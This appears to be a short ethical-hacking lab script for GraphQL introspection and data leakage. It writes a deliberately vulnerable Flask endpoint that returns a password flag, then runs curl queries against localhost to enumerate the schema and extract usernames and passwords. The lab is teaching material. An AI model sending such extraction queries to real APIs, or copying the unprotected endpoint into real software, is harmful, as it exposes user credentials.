EH-21: GraphQL Security - Introspection & Data Leak

cd ~ && mkdir -p eth-l21 && cd eth-l21
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/graphql', methods=['POST'])
def gql():
    q = request.json.get('query','')
    if 'users' in q.lower():
        return jsonify({"data":{"users":[{"username":"admin","password":"flag{GraphQL_Leak}"}]}})
    if '__schema' in q or 'introspection' in q.lower():
        return jsonify({"data":{"__schema":{"types":[{"name":"User"},{"name":"Secret"}]}}})
    return jsonify({"data":None})
app.run(port=9019)
PYEOF
python3 server.py &
sleep 1

echo "=== 1. Introspection ==*"
curl -s -X POST http://localhost:9019/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq .
echo ""
echo "=== 2. Data Extraction ==*"
curl -s -X POST http://localhost:9019/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { username password } }"}' | jq .

kill %1 2>/dev/null